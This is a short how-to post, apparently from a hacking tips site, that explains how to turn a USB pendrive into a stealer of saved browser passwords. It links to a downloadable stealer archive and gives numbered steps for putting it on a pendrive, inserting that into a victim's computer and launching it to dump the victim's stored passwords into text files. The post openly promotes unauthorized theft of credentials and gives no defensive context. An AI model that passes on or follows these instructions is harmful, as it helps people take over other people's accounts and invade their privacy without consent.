How do Hackers Steal Your stored/saved passwords in browsers using Pendrive?

Here's a small hack by which you can turn any pendrive into a password stealer.The pendrive will steal all the stored passwords in the system of the victim.
Download : You can download the files from here (http://www.ziddu.com/download/22264007/Pendrivepasswordstealer.rar.html) .
Steps in detail :
1. Extract pendrive password stealer.rar .
2. Copy all the contents of the file.
3. Paste the contents in the pendrive you want to use for stealing.
4. Insert the pendrive in thesystem of the victim.
5.Click on "launch" file.
6. Within seconds your pendrive will have text files containing all the stored passwords of the victim for any website.
P.S. : If the victim is not using stored passwords,then the password files will come out empty.

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